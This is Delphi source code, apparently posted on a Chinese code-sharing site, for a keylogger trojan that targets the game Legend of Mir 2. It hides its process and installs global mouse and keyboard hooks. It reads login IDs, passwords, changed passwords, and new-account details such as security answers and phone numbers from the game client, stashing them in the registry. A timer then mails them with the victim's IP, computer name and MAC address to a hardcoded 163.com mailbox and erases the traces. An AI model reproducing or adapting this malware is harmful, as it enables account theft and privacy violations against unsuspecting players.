?? unit1.~pas
字號:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,Unit2, Psock, NMsmtp, ExtCtrls, Winsock;
type
TForm1 = class(TForm)
smtp: TNMSMTP;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure smtpConnect(Sender: TObject);
procedure smtpFailure(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure smtpSuccess(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
var MouseHook,KeyHook:Longint;
Wpa,Lpa:integer;
AuthSucc:Boolean;
LogoID:String;
Str:array[1..19] of String;
function Sendmessage(handle:hwnd;Wmsg:integer; Lparam:integer; Wparam:Pchar):integer;stdcall;external 'user32.dll' name 'SendMessageA';
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'
procedure ClearReg;
Begin
Delreject(HKEY_CLASSES_ROOT,'Legend\Enter',4);
Delreject(HKEY_CLASSES_ROOT,'Legend\Change password',5);
Delreject(HKEY_CLASSES_ROOT,'Legend\Registry',13);
Delrepeat(HKEY_CLASSES_ROOT,'Legend\Enter');
Delrepeat(HKEY_CLASSES_ROOT,'Legend\Change password');
Delrepeat(HKEY_CLASSES_ROOT,'Legend\Registry');
End;
procedure TForm1.smtpConnect(Sender: TObject);
var strUserName,strPassword:String;
begin
strUserName:=EncodeString('liufan1016'); //發(fā)信箱的用戶名
strPassword:=EncodeString('12345'); //發(fā)信箱的密碼
smtp.Transaction('EHLO');
smtp.Transaction('AUTH LOGIN');
smtp.Transaction(strUserName);
smtp.Transaction(strPassword);
AuthSucc:=True;
end;
procedure SendMail;
var iscon:Boolean;
S1,S2,S3,V1,V2,V3:TStringList;
Text:TStringList;
add:String;
i,j:integer;
begin
S1:=TStringList.Create;
S2:=TStringList.Create;
S3:=TStringList.Create;
V1:=TStringList.Create;
V2:=TStringList.Create;
V3:=TStringList.Create;
Text:=TStringList.Create;
if Form1.smtp.LocalIP<>'127.0.0.1' then iscon:=True else iscon:=False;
GetKeyName(HKEY_CLASSES_ROOT,'Legend\Enter',S1);
GetKeyName(HKEY_CLASSES_ROOT,'Legend\Change Password',S2);
GetKeyName(HKEY_CLASSES_ROOT,'Legend\Registry',S3);
if ((S1.Count<>0) or (S2.Count<>0) or (S3.Count<>0)) and (iscon=True) then begin
Form1.smtp.Host:='smtp.163.com'; //發(fā)信箱的主機地址
Form1.smtp.UserID:='liufan1016'; //收信箱的用戶名
if form1.smtp.Connected then form1.smtp.Disconnect;
form1.smtp.Connect;
if AuthSucc then begin
add:=Readvalue(HKEY_LOCAL_MACHINE,'System\CurrentControlSet\Control','Address');
Form1.smtp.PostMessage.ToAddress.Clear;
Form1.smtp.PostMessage.Body.Clear;
Form1.smtp.PostMessage.ToAddress.Add('liufan1016@163.com'); //收信箱的地址
Form1.smtp.PostMessage.FromAddress:='liufan1016@163.com'; //發(fā)信箱的地址
Form1.smtp.PostMessage.FromName:='Mir';
Form1.smtp.PostMessage.Subject:='《傳奇》';
if S1.Count<>0 then begin
Text.Add('傳奇登錄');
Text.Add('------------------------------');
for i:=0 to S1.Count-1 do begin
getvaluename(hkey_classes_root,'Legend\Enter\'+S1[i],V1);
Text.Add('區(qū)域:'+Readvalue(hkey_classes_root,'Legend\Enter\'+S1[i],'區(qū)域'));
Text.Add('用戶名:'+Readvalue(hkey_classes_root,'Legend\Enter\'+S1[i],'ID'));
Text.Add('密碼:'+Readvalue(hkey_classes_root,'Legend\Enter\'+S1[i],'PW'));
Text.Add('服務器:'+Readvalue(hkey_classes_root,'Legend\Enter\'+S1[i],'SP'));
V1.Clear;
Text.Add('');
end;
S1.Free;V1.Free;
end;
if S2.Count<>0 then begin
Text.Add('');Text.Add('');
Text.Add('修改密碼');
Text.Add('------------------------------');
for i:=0 to S2.Count-1 do begin
getvaluename(hkey_classes_root,'Legend\Change password\'+S2[i],V2);
Text.Add('區(qū)域:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Change password\'+S2[i],V2[0]));
Text.Add('用戶名:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Change password\'+S2[i],V2[4]));
Text.Add('當前密碼:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Change password\'+S2[i],V2[3]));
Text.Add('新密碼:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Change password\'+S2[i],V2[2]));
Text.Add('重復:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Change password\'+S2[i],V2[1]));
V2.Clear;
Text.Add('');
end;
S2.Free;V2.Free;
end;
if S3.Count<>0 then begin
Text.Add('');Text.Add('');
Text.Add('新用戶');
Text.Add('------------------------------');
for i:=0 to S3.Count-1 do begin
getvaluename(hkey_classes_root,'Legend\Registry\'+S3[i],V3);
Text.Add('區(qū)域:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[0]));
Text.Add('用戶:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[12]));
Text.Add('密碼:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[11]));
Text.Add('確認:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[10]));
Text.Add('你的名字:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[9]));
Text.Add('生日:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[8]));
Text.Add('提問1:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[7]));
Text.Add('回答1:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[6]));
Text.Add('提問2:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[5]));
Text.Add('回答2:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[4]));
Text.Add('電話號碼:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[3]));
Text.Add('移動電話號碼:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[2]));
Text.Add('E-Mail:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[1]));
V3.Clear;
Text.Add('');
end;
S3.Free;V3.Free;
end;
Text.Add('');Text.Add('');
Text.Add('附加信息');
Text.Add('------------------------------');
Text.Add('IP地址:'+form1.smtp.LocalIP);
Text.Add('計算機名:'+mygetcomputername);
Text.Add('物理地址:'+add);
Text.Add('發(fā)送時間:'+datetimetostr(Now));
Form1.smtp.PostMessage.Body.AddStrings(Text);
Form1.smtp.SendMail;
Text.Free;
end;
end;
End;
procedure LogoMouse;
var p:Longint;
c:array[1..19] of Longint;
Lo,L:Longint;
Rect:TRect; Cpoint:Tpoint;
i,t,n,s,f:integer;
SubKey,ServerName:string;
Begin
t:=0;
n:=0;
s:=0;
f:=0;
for i:=1 to 19 do c[i]:=0;
Lo:=findwindow(pchar('TfrmMain'),pchar('傳奇客戶端'));
L:=findwindowex(Lo,0,pchar('TComboBox'),nil);
SendMessage(L,WM_GETTEXT,36,pchar(LogoID));
if (Wpa=WM_LBUTTONDOWN) then begin
p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
for i:=1 to 19 do begin
c[i]:=findwindowex(p,t,pchar('TEdit'),nil);
t:=c[i];
if t=0 then break else begin
s:=s+1;
if IsWindowVisible(t) then n:=n+1;
end;
end;
getcursorpos(Cpoint);
Rect.TopLeft.X:=425;
Rect.TopLeft.Y:=337;
Rect.BottomRight.X:=495;
Rect.BottomRight.Y:=365;
if (n=2) and (ptinrect(Rect,Cpoint)) then begin
for i:=1 to s do begin
if c[i]=0 then continue;
if IsWindowVisible(c[i]) then begin
SendMessage(c[i],WM_GETTEXT,36,pchar(Str[i]));
if f=0 then Addvalue(hkey_classes_root,'Legend',true,'PW',Str[i],1)
else Addvalue(hkey_classes_root,'Legend',true,'ID',Str[i],1);
f:=f+1;
end;
end;
end;
Rect.TopLeft.X:=308;
Rect.TopLeft.Y:=141;
Rect.BottomRight.X:=476;
Rect.BottomRight.Y:=477;
if (n=0) and (s>=2) and (ptinrect(Rect,Cpoint)) then begin
i:=1;SubKey:='';
while i<=99 do begin
if keyexists(hkey_classes_root,'Legend\Enter',inttostr(i))=false then begin
SubKey:=inttostr(i);
break;
end;
i:=i+1;
end;
if (ValueExists(hkey_classes_root,'Legend','ID')) and (ValueExists(hkey_classes_root,'Legend','PW')) then begin
addvalue(hkey_classes_root,'Legend\Enter\'+SubKey,true,'區(qū)域',LogoID,1);
addvalue(hkey_classes_root,'Legend\Enter\'+SubKey,true,'ID',readvalue(hkey_classes_root,'Legend','ID'),1);
addvalue(hkey_classes_root,'Legend\Enter\'+SubKey,true,'PW',readvalue(hkey_classes_root,'Legend','PW'),1);
ServerName:=GetServerName(Readvalue(hkey_classes_root,'Legend\Enter\'+SubKey,'區(qū)域'),Cpoint.Y);
addvalue(hkey_classes_root,'Legend\Enter\'+SubKey,true,'SP',ServerName+'【'+inttostr(Cpoint.X)+','+inttostr(Cpoint.Y)+'】',1);
Delvalue(hkey_classes_root,'Legend','ID');
Delvalue(hkey_classes_root,'Legend','PW');
end;
end;
Rect.TopLeft.X:=489;
Rect.TopLeft.Y:=102;
Rect.BottomRight.X:=505;
Rect.BottomRight.Y:=127;
if (n=0) and (s>=2) and (ptinrect(Rect,Cpoint)) then begin
i:=1;SubKey:='';
while i<=99 do begin
if keyexists(hkey_classes_root,'Legend\Enter',inttostr(i))=false then begin
SubKey:=inttostr(i);
break;
end;
i:=i+1;
end;
if (ValueExists(hkey_classes_root,'Legend','ID')) and (ValueExists(hkey_classes_root,'Legend','PW')) then begin
addvalue(hkey_classes_root,'Legend\Enter\'+SubKey,true,'區(qū)域',LogoID,1);
addvalue(hkey_classes_root,'Legend\Enter\'+SubKey,true,'ID',readvalue(hkey_classes_root,'Legend','ID'),1);
addvalue(hkey_classes_root,'Legend\Enter\'+SubKey,true,'PW',readvalue(hkey_classes_root,'Legend','PW'),1);
addvalue(hkey_classes_root,'Legend\Enter\'+SubKey,true,'SP','關閉'+'【'+inttostr(Cpoint.X)+','+inttostr(Cpoint.Y)+'】',1);
Delvalue(hkey_classes_root,'Legend','ID');
Delvalue(hkey_classes_root,'Legend','PW');
end;
end;
Rect.TopLeft.X:=372;
Rect.TopLeft.Y:=404;
Rect.BottomRight.X:=445;
Rect.BottomRight.Y:=432;
if (n=4) and (ptinrect(Rect,Cpoint)) then begin
i:=1;SubKey:='';
while i<=99 do begin
if keyexists(hkey_classes_root,'Legend\Change password',inttostr(i))=false then begin
SubKey:=inttostr(i);
break;
end;
i:=i+1;
end;
addvalue(hkey_classes_root,'Legend\Change password\'+SubKey,true,'區(qū)域',LogoID,1);
for i:=1 to s do begin
if c[i]=0 then continue;
if IsWindowVisible(c[i]) then begin
SendMessage(c[i],WM_GETTEXT,36,pchar(Str[i]));
Addvalue(hkey_classes_root,'Legend\Change password\'+SubKey,true,'Str'+inttostr(i),Str[i],1);
end;
end;
end;
Rect.TopLeft.X:=240;
Rect.TopLeft.Y:=480;
Rect.BottomRight.X:=313;
Rect.BottomRight.Y:=509;
if (n=12) and (ptinrect(Rect,Cpoint)) then begin
i:=1;SubKey:='';
while i<=99 do begin
if keyexists(hkey_classes_root,'Legend\Registry',inttostr(i))=false then begin
SubKey:=inttostr(i);
break;
end;
i:=i+1;
end;
addvalue(hkey_classes_root,'Legend\Registry\'+SubKey,true,'區(qū)域',LogoID,1);
for i:=1 to s do begin
if c[i]=0 then continue;
if IsWindowVisible(c[i]) then begin
SendMessage(c[i],WM_GETTEXT,36,pchar(Str[i]));
Addvalue(hkey_classes_root,'Legend\Registry\'+SubKey,true,'Str'+inttostr(i),Str[i],1);
end;
end;
end;
end;
End;
procedure LogoKey;
var p:Longint;
c:array[1..19] of Longint;
i,t,n,s,f:integer;
SubKey:string;
up:array [1..2] of Longint;
Begin
t:=0;
n:=0;
s:=0;
f:=0;
up[1]:=0;
up[2]:=0;
for i:=1 to 19 do c[i]:=0;
p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
for i:=1 to 19 do begin
c[i]:=findwindowex(p,t,pchar('TEdit'),nil);
t:=c[i];
if t=0 then break else begin
s:=s+1;
if IsWindowVisible(t) then begin
n:=n+1;
if n<3 then up[n]:=t;
end;
end;
end;
if ((Lpa and $80000000) = 0) and (Wpa=13) and (n=2) and ((getfocus=up[1]) or (getfocus=up[2])) then begin
for i:=1 to s do begin
if c[i]=0 then continue;
if IsWindowVisible(c[i]) then begin
SendMessage(c[i],WM_GETTEXT,36,pchar(Str[i]));
if f=0 then Addvalue(hkey_classes_root,'Legend',true,'PW',Str[i],1)
else Addvalue(hkey_classes_root,'Legend',true,'ID',Str[i],1);
f:=f+1;
end;
end;
end;
End;
function MouseProc(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT; stdcall;export;
var i:integer;
Begin
Result:=0;
LogoID:='abcdefghijklmnopqrstuvwxyz1234567890';
for i:=1 to 19 do Str[i]:='abcdefghijklmnopqrstuvwxyz1234567890';
Wpa:=wParam;
Lpa:=lParam;
LogoMouse;
if iCode<0 then Result:=CallNextHookEx(MouseHook,iCode,wParam,lParam);
End;
function KeyPro(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
var i:integer;
Begin
Result:=0;
LogoID:='abcdefghijklmnopqrstuvwxyz1234567890';
for i:=1 to 19 do Str[i]:='abcdefghijklmnopqrstuvwxyz1234567890';
Wpa:=wParam;
Lpa:=lParam;
LogoKey;
if iCode<0 Then Result:=CallNextHookEx(KeyHook,iCode,wParam,lParam);
End;
procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID,1);
MouseHook:=SetWindowsHookEx(WH_MOUSE,@MouseProc,Hinstance,0);
KeyHook:=SetWindowsHookEx(WH_KEYBOARD,Keypro,HInstance,0);
end;
procedure TForm1.smtpFailure(Sender: TObject);
begin
smtp.Disconnect;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
AuthSucc:=False;
ClearReg;
Sendmail;
end;
procedure TForm1.smtpSuccess(Sender: TObject);
begin
smtp.Disconnect;
Delsub(HKEY_CLASSES_ROOT,'Legend','Enter');
Delsub(HKEY_CLASSES_ROOT,'Legend','Change password');
Delsub(HKEY_CLASSES_ROOT,'Legend','Registry');
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnhookwindowsHookEx(MouseHook);
UnhookwindowsHookEx(KeyHook);
end;
End.
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -